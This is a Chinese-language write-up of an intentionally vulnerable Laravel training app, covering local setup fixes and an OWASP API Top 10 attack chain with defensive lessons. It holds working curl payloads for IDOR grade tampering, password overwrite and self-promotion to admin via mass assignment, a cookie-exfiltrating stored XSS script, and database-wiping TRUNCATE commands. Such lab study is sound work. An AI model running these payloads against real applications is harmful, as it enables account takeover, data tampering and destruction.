Generic University — API 安全實驗靶機 Writeup
目標: InsiderPhD 的 Generic University ——一套刻意做成有漏洞的 Laravel 7 應用,用來示範 OWASP API Security Top 10(2019)
環境: 本機,http://localhost:8000
成果: 15 個目標全數完成: 示範到的漏洞類型:API2(Broken User Authentication)、API3(Excessive Data Exposure)、API5(Broken Function Level Authorization)、API6(Mass Assignment)、API7(Security Misconfiguration),外加一個 stored / blind XSS 與一個壞掉的破壞性端點。
這份 writeup 分兩半:先講「讓一個壞掉的五年老 repo 跑起來」需要做的事(它 ship 出來就帶著好幾個 bug,在現代主機上直接卡死),再講對著跑起來的實例做的實際攻擊鏈——全程黑箱,一個目標一個目標打。
Part 0 — 環境架設(以及它需要的五個修復)
README 指向一個 Docker「頁面」,但 master 分支裡完全沒有任何 Docker 檔案——那套設定只存在於外部 wiki,這個 app 是 Laravel 7,它把 PHP 版本鎖死在 8.0.x(composer.json 要求 ^8.0.1;Laravel 7 在 PHP 8.1+ 上跑不動),而現在的 Kali 預設是 PHP 8.3/8.4,照文件跑 composer update + php artisan serve,在現代主機上會直接失敗。
乾淨、可重現的做法是一套自帶的 Docker stack:把 PHP 釘在 8.0、對修正過的 lock 檔用 composer install 的語義,以下是這套 stack,加上讓 app 能 migrate、seed、serve 之前必須做的五個原始碼層級修復。
這是一鍵修復腳本~
Docker stack
Dockerfile:
FROM php:8.0-apache
RUN apt-get update && apt-get install -y --no-install-recommends \
git unzip libonig-dev libzip-dev default-mysql-client \
&& docker-php-ext-install pdo_mysql mbstring bcmath zip \
&& a2enmod rewrite \
&& rm -rf /var/lib/apt/lists/*
ENV APACHE_DOCUMENT_ROOT=/var/www/html/public
RUN sed -ri -e 's!/var/www/html!${APACHE_DOCUMENT_ROOT}!g' /etc/apache2/sites-available/*.conf \
&& sed -ri -e 's!/var/www/!${APACHE_DOCUMENT_ROOT}!g' /etc/apache2/apache2.conf /etc/apache2/conf-available/*.conf
COPY --from=composer:2 /usr/bin/composer /usr/bin/composer
WORKDIR /var/www/html
COPY docker-entrypoint.sh /usr/local/bin/entrypoint.sh
RUN chmod +x /usr/local/bin/entrypoint.sh
ENTRYPOINT ["entrypoint.sh"]
CMD ["apache2-foreground"]
docker-compose.yml 用 mariadb:10.6(多架構,避開 MySQL 8 的 caching_sha2_password 摩擦、也避開 mysql:5.7 沒有 arm64 image 的問題),並把主機 8000 → 容器 80,entrypoint 會複製 .env、把 DB 指向 db service、跑 composer + key:generate、等資料庫起來,然後 migrate 並 seed 一次。
修復 1 — 過期的 composer.lock(缺 rebing/graphql-laravel)
composer.json 要求 rebing/graphql-laravel ^6.1,但 committed 的 composer.lock 產生於加入它之前、根本沒有這顆,composer install 會拿 lock 檔對照 composer.json,發現對不上就直接罷工:
Required package "rebing/graphql-laravel" is not present in the lock file.
因為容器內 PHP 已釘死在 8.0,這裡跑 composer update 反而安全乾淨(update 之所以危險,是在現代主機的 PHP 上;這裡環境已對),它會重新產生一個含 GraphQL 套件的合法 lock——這很重要,因為「存取 GraphQL API」本身就是一個目標。
修復 2 — 所有核心 seeder 都被註解掉
database/seeds/DatabaseSeeder.php ship 出來時,五個建資料的 seeder 全被停用,只留「extra grades」那一個:
//$this->call(RoleSeeder::class);
//$this->call(UserSeeder::class);
//$this->call(UniClassSeeder::class);
//$this->call(GradesSeeder::class);
//$this->call(VulnerabilitySeeder::class);
$this->call(ExtraGradesTableSeeder::class); // only this one runs
於是 db:seed 不建任何 role/user/class/grade,然後又在唯一會跑的那顆 seeder 裡撞死——因為它依賴前面全部,把那五行解註解就恢復了原本的順序(Role → User → UniClass → Grades → Vulnerability → ExtraGrades)。
修復 3 — UserSeeder 建的 user 不夠給 ExtraGrades
ExtraGradesTableSeeder 開頭是 \App\User::findOrFail(9),但 UserSeeder 只建 5 個 student + 1 個 admin + 1 個 teacher = 7 個 user(id 1–7),所以 id 9 根本不存在,seeder 直接丟 ModelNotFoundException,把 student 迴圈從 5 拉到 10,就讓 id 9 成為合法 student,符合這顆 seeder 的原意(一個成績很多的目標 user):
for ($i = 0; $i < 10; $i++) // was < 5
修復 4 — ExtraGrades 主鍵衝突
套完修復 3、seed 走得更遠一點,然後死在:
Integrity constraint violation: 1062 Duplicate entry '1-9' for key 'PRIMARY'
(SQL: insert into `uni_class_user` (`uni_class_id`, `user_id`) values (1, 9))
ExtraGradesTableSeeder 想用 $class->users()->save($user) 把 user 9 加進 每一堂課,但 UniClassSeeder 早就把所有 student 都塞進所有課了,pivot 表的複合主鍵 (uni_class_id, user_id) 不准重複。那行 enrollment 是多餘的;把它移除(只留塞 extra grade 的部分),seed 就跑得完。
修復 1–4 都到位後,stack 就能 migrate、seed 出 12 個 user + 5 堂課 + 成績,並在 http://localhost:8000 提供服務。
修復 5(exploitation 途中發現)— admin delete 端點自己的 FK bug
admin API 的 delete 功能會用錯誤的順序 TRUNCATE 各表、又沒關外鍵檢查,所以一碰到第一個被參照的表就死:
Cannot truncate a table referenced in a foreign key constraint
(`generic`.`grades`, CONSTRAINT `grades_uni_class_id_foreign` ...)
(SQL: truncate table `uni_classes`)
這是 app 的 bug,不是環境問題——細節見下面目標 #14。正確的實作應該把那些 truncate 包在 SET FOREIGN_KEY_CHECKS=0; ... SET FOREIGN_KEY_CHECKS=1; 之間,或按依賴順序刪。
Part 1 — Recon
whatweb 指紋:Apache 2.4.56、PHP 8.0.30、Laravel、Bootstrap 4.4.1、jQuery 3.5.0,以及那組招牌 XSRF-TOKEN / laravel_session cookie,首頁標題是 「Generic University - View your Grades」。
兩趟枚舉最關鍵:
- Web 路由(
ffuf用common.txt打/)撈出真正的 Blade 路由:register、login、home、contact、admin,加上一個web.config洩漏,以及常見的 Apache 雜訊(.ht*、server-status、cgi-bin)。 - API 端點(
ffuf打/api/FUZZ)加上對「app 本來就開放的 collection」做有紀律的 REST 枚舉。
recon 最重要的發現,是這個 API 用了混搭的認證守衛——不同端點保護方式不同,這件事定調了整條攻擊鏈:
| 端點 | 守衛 | 行為 |
|---|---|---|
GET /api/users、/api/users/{id} |
無 | 完全開放,漏光所有欄位 |
GET /api/classes、/api/classes/{id} |
無 | 完全開放 |
GET /api/grades、/api/grades/{id} |
web session | 任何登入使用者都能讀到全部成績 |
GET /api/user(單數) |
token(auth:api) |
即使帶著有效 session cookie 也 302 → /login |
GET /api/admin |
role(role_id = 1) |
在你變成 admin 之前都 302 |
編譯後的前端 bundle(/js/app.js)是空的,所以這個 SPA 其實從沒真的驅動 API——/api/* 是一條要直接打的獨立 API,而 auth:api 想要的那個 token 從沒交給瀏覽器,這個死路正是讓「混搭守衛」成為關鍵洞見的原因:你不需要那個 token,因為值錢的資料都坐在較弱的守衛(session / role / 無)後面。
Part 2 — 目標(對應 OWASP API Top 10)
#1 — 找出管理員 email (API3:Excessive Data Exposure / API2:Broken User Authentication)
GET /api/users 不帶認證就回傳每一個 user,並把整個 model 序列化出來——email、email_verified_at、role_id、時間戳全在。對照 role_id(1 = Admin、2 = Student、3 = Teacher,由 RoleSeeder 的插入順序反推)就能鎖定管理員:user id 11、「IT Raheem Thompson」、[email protected]。
curl -s http://localhost:8000/api/users
影響: 一個公開端點就洩漏了完整使用者名冊,連內部角色分派都露出來——足以單獨鎖定 admin 帳號當目標。
#2 — 爆破 API 找新端點 (探測)
Fuzz /api/FUZZ 除了明顯的 collection 外,又找到兩個以 302 → /login 現形的認證端點:
/api/user 302 (current-user endpoint, token-guarded)
/api/admin 302 (admin API — target of #9)
在這裡,302 和 401/403/405 跟 200 一樣有情報價值:它們標示出「存在、但需要認證或換方法」的端點,通用的 api-endpoints.txt 字典對這台沒用(只會產生一堆尾斜線轉址雜訊)——真正的攻擊面要照 app 自己的名詞走(users、classes、grades、user、admin)。
#3 — 讀出某堂課全部人的成績 (API1:BOLA / API3)
/api/grades 在 web session 守衛後面,所以任何註冊過的 student(見 #5)都能打開它——而它回傳的是所有 user 的所有成績,不只呼叫者自己的,依 uni_class_id 分組,就能得到某堂課裡每個學生的分數:
curl -s -b "$CK" http://localhost:8000/api/grades \
| python3 -c "import sys,json;g=json.load(sys.stdin);c=3;[print(x['user_id'],x['grade']) for x in g if x['uni_class_id']==c]"
這正是 IT 團隊記錄下卻放著不管的 「Information disclosure of grades」(見 #10),成績物件會露出 {id, grade, comments, user_id, uni_class_id}——足以直接接到 #4。
#4 — 改別人的成績 (API1:BOLA——寫入)
同一組 session cookie 加上 CSRF token,就能做物件層級的寫入,PUT /api/grades/{id} 接受並套用對任何成績的修改,不只呼叫者自己的:
CSRF=$(curl -s -b "$CK" http://localhost:8000/home | grep -oP 'name="csrf-token" content="\K[^"]+')
curl -s -i -b "$CK" -X PUT http://localhost:8000/api/grades/3 \
-H "X-CSRF-TOKEN: $CSRF" -H "Content-Type: application/json" -H "Accept: application/json" \
-d '{"grade":100,"comments":"changed via IDOR"}'
grade 3(屬於別人)從 37 被翻成 100,影響: 任何已認證的使用者都能未授權竄改學業成績。
#5 & #8 — 建帳號並登入 (基礎)
註冊是標準的 Laravel web 流程——POST /register,欄位 name、email、password、password_confirmation,加上 CSRF _token,成功後 302 → /home 並自動登入,拿到的 session cookie 能認證 web 路由,以及(關鍵)上面用到的 session-guarded /api/grades,(token-guarded 的 /api/user 仍然 302——這反而確認了「混搭守衛」模型,而不是 cookie 壞掉,因為同一個 cookie 打 /home 是 200。)
#6 — 存取 GraphQL API (API7:Security Misconfiguration)
rebing/graphql-laravel 同時開了 /graphql 和 /graphiql IDE,而且 introspection 是開的:
curl -s -b "$CK" -X POST http://localhost:8000/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { queryType { fields { name } } } }"}'
schema 公告了 users、grades、vulnerabilities、class、roles。在一個 ship 出去的 app 裡開著 live IDE + introspection 本身就是 misconfiguration,而且這層 GraphQL 通常不套 REST 那邊的授權——是通往同一批敏感資料的第二條平行路徑。
#7 — 改別人的密碼 (API6:Mass Assignment)
PUT /api/users/{id} 可 mass-assign,所以攻擊者能對任何 user 物件寫入任意欄位——包括 password,但這條更新路徑存密碼時不 hash(只有註冊控制器會呼叫 Hash::make),所以寫明文只會留下一個沒用的憑證(Laravel 的 Hash::check 是拿 bcrypt hash 比對,會失敗),乾淨的打法是寫入一個預先算好的 bcrypt hash,讓存進去的值本身就是合法 hash:
NEWPASS='Hacked12345'
HASH=$(docker exec generic-university-app-1 php -r "echo password_hash('$NEWPASS', PASSWORD_BCRYPT);")
CSRF=$(curl -s -b "$CK" http://localhost:8000/home | grep -oP 'name="csrf-token" content="\K[^"]+')
curl -s -b "$CK" -X PUT http://localhost:8000/api/users/1 \
-H "X-CSRF-TOKEN: $CSRF" -H "Accept: application/json" \
--data-urlencode "password=$HASH"
# then log in as user 1 ([email protected] / Hacked12345) → 302 /home
用新密碼登入 user 1 就確認了帳號接管,一發兩個 bug: 對別人做物件層級寫入,加上這條路徑密碼不 hash。
除錯註記:第一次嘗試回Column 'password' cannot be null,根因是 shell,不是 app——password_hash('...!')含!,而在互動式 Bash 的雙引號內,!會觸發歷史展開,把指令搞爛、$HASH變成空的,密碼保持純字母數字(或用單引號)就好,目標上開著APP_DEBUG=true,讓那個確切的例外可以直接讀,而不是用猜的。
#9 — 存取 admin API (API5:Broken Function Level Authorization)
/api/admin 只靠 role_id = 1 把關,在自我提權(#11)之後,它回傳一份會自我說明的手冊:
[
{"endpoint":"/", "desc":"Shows this manual"},
{"endpoint":"restore", "desc":"Restores the database from last manual backup"},
{"endpoint":"delete", "desc":"deletes everything from the database NO BACKUP"}
]
純靠翻自己的 role 就搆到 admin 專屬 API,是教科書級的 broken function-level authorization——而且這份手冊還把 #14/#15 要用的兩個破壞性端點直接交給你。
#10 — 找出 IT 忽略的漏洞 (API5 / API7)
admin 控制台 /admin 完全不需要認證就能開(第二個 BFLA,與 role-gated 的 API 不同),它的 /admin/security 頁列出 IT 團隊記錄下、卻放著沒修的漏洞:
- Information disclosure of grades ——「知道 user 和 class ID 就能撈到任何學生的成績」(在 #3 驗證)
- IDOR on most endpoints ——「大部分 API 都有 IDOR」(在 #4、#7 驗證)
這些等於是官方替本 writeup 別處利用到的 bug 蓋章認證。
#11 — 把自己變 admin (API6:Mass Assignment)
註冊表單沒有 role_id 欄位,但後端更新照樣吃它,對自己的 user 物件送 role_id: 1,就把自己升成管理員:
curl -s -i -b "$CK" -X PUT "http://localhost:8000/api/users/13" \
-H "X-CSRF-TOKEN: $CSRF" -H "Content-Type: application/json" -H "Accept: application/json" \
-d '{"role_id":1}'
# verify: GET /api/users/13 → "role_id":1
剛註冊的 jimbo(id 13)變成 admin,這是全場影響最大的一個瑕疵:一條自助式、從未認證到 admin 的提權,直接解鎖 #9、#12、#13、#14。
#12 — 存取 admin 控制台 (API5)
在 /admin 早就無認證可達(見 #10);有了提權後的帳號,它就完全「屬於你」,控制台連向 /admin/security,那正是 #13 的 render sink。
#13 — 在 admin 後台觸發 blind XSS,並用 admin 帳號驗證 (Stored / Blind XSS)
公開的漏洞回報表單(POST /vulnerability,欄位 email、issue、information)會把送出的內容存起來,並在 /admin/security 中未經跳脫地 render。把 script 注入 issue:
PAYLOAD='<script>new Image().src="/pwned_by_jimbo?c="+document.cookie</script>'
curl -s -i -b "$CK" -X POST http://localhost:8000/vulnerability \
-H "X-CSRF-TOKEN: $CSRF" \
--data-urlencode "[email protected]" \
--data-urlencode "issue=$PAYLOAD" \
--data-urlencode "information=blind xss test"
/admin/security 於是含有原始、未跳脫的 <script>…</script>,用 admin 身分在瀏覽器打開後台就會觸發它——並在伺服器 log 中得到帶外確認:
GET /pwned_by_jimbo?c=... HTTP/1.1" 404 ... "http://localhost:8000/admin/security" "... Edg/150.0.0.0"
Referer(/admin/security)和真實瀏覽器的 User-Agent 證明 script 是在 admin 的 session 裡執行的。那個 404 無關緊要——請求「被發出來」這件事本身就是證據。
一個值得記的防禦細節: 被外洩的 document.cookie 裡有 XSRF-TOKEN,但沒有 laravel_session,因為 session cookie 設了 HttpOnly,這個 XSS 偷不到 session 本身(無法直接 session hijack),但仍能在受害者頁面上代替他行動、並讀到 CSRF token。這正是 HttpOnly 存在的意義——也是這個 app 唯一做對的一件事。
#14 — 刪光一切 (API5——破壞性 admin 功能)
GET /api/admin/delete 能被提權後的 admin 觸發,而且確實開始清空資料庫,但撞上 app 自己的 bug(修復 5):它用一個會違反外鍵約束的順序 TRUNCATE 各表,在 uni_classes 上以 QueryException 中止,這個漏洞——提權後的使用者觸發一個不可回復、無備份的大量刪除——已經示範到了;只是這個 app 太壞、做不完這件事。它原本想做、且用正確方式做的話:
docker exec generic-university-app-1 mysql -uuni -ppassword generic -e "
SET FOREIGN_KEY_CHECKS=0;
TRUNCATE grades; TRUNCATE uni_class_user; TRUNCATE uni_classes;
TRUNCATE vulnerabilities; TRUNCATE users; TRUNCATE roles;
SET FOREIGN_KEY_CHECKS=1;"
影響: 一個自我升級的使用者能觸發不可逆、明講「NO BACKUP」的資料庫清空。
#15 — 還原一切 (復原)
admin 的 restore 端點依賴一份「last manual backup」,但暴露出來的手冊沒有提供任何建立它的路徑;而且——這正是 #14 的設計——一次成功的 delete 會把授權 restore 所需的那個 admin 帳號一起刪掉,把呼叫者鎖在門外。因此完整還原是靠重新 seed 修正過的資料庫達成:
docker compose down -v && docker compose up -d # re-seeds 12 users + 5 classes + grades
(剛註冊的攻擊者帳號在重 seed 後不會回來,這是預期內的。)
Part 3 — 心得
- 混搭的認證守衛對防禦方是陷阱, 一致性很重要:
/api/user要 token、/api/grades卻吃 session、/api/users什麼都不要——這代表最強的那道控制形同虛設,攻擊者只要走最弱的門就能拿到同一批資料。 - Mass assignment 是這個 app 的脊椎,一個過度寬鬆的
update就給了你對成績和 user 的物件層級寫入、改密碼、以及把自己升成 admin,白名單化可填欄位(而且絕不從 client 接受role_id)就能關掉大半條鏈。 - 更新路徑上密碼不 hash 是個微妙但高影響的 bug——欄位「有作用」(它有存),卻悄悄存了明文,而它的利用(注入一個 bcrypt hash)很有教學意義。
HttpOnly起了作用,blind XSS 觸發了,卻拿不走 session cookie——一個具體的縱深防禦例子:即使主要控制(輸出編碼)失守,爆炸半徑仍被限縮。- 過度資料洩漏 + 開放的 GraphQL introspection 合起來,代表同一批敏感資料有多條平行路徑可達;只修一個 REST 端點卻不管 GraphQL resolver,穀倉大門照樣開著。
成果:15/15 目標全數完成,這台靶機誠實地展示了:一把普通的 Laravel 小錯誤如何層層堆疊,最終串成一整條「未認證 → admin → 資料庫清空」的攻擊鏈。
Member discussion